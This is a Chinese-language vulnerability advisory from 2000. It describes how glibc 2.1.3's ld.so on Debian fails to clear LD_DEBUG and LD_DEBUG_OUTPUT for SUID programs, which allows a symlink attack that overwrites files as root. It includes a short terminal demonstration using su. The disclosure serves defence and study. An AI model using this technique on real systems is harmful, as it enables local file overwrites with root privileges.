Debian glibc 2 ld.so未清空环境变量
发布日期:2000-09-28
更新日期:2000-09-28
受影响系统:
GNU glibc 2.1.3-10
+ Debian Linux 2.2
不受影响系统:
- Redhat linux 6.2
描述:
Glibc 2 是GNU C 库的最新版本。ld.so用于加载Unix环境下的动态链接库,但是
glibc2里携带的ld.so在处理SUID程序的时候没有正确地清空LD_DEBUG_OUTPUT和
LD_DEBUG环境变量。前者用于指定调试输出文件所在路径,调试输出文件名由后者的
值和进程号组成。如果调试输出文件是一个符号链接,ld.so将跟随这个符号链接。
由于进程号可猜测,攻击者可以利用这点提前建立一个将要出现的调试输出文件符号
链接,运行SUID程序,如果文件名猜测正确,符号链接所指向的文件将被覆盖。
<* 来源:Jakub Vlasek (
jv@pilsedu.cz) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
[jv] ~/x export LD_DEBUG=libs LD_DEBUG_OUTPUT=/home/jv/x/debug
[jv] ~/x ls -l
-rw-rw-r-- 1 jv jv 308 Sep 27 11:40 debug.22810
[jv] ~/x su
(LD_DEBUG_OUTPUT ignored, data written to terminal)
Password:
[root] /home/jv/x ls -l
-rw-rw-r-- 1 jv jv 308 Sep 27 11:40 debug.22810
-rw-rw-r-- 1 root root 1850 Sep 27 11:41 debug.22812
-rw-r--r-- 1 root root 374 Sep 27 11:41 debug.22819
-rw-r--r-- 1 root root 308 Sep 27 11:41 debug.22820 <- can
be symlink
建议:
厂商补丁:
暂无
浏览次数:5980
严重程度:0(网友投票)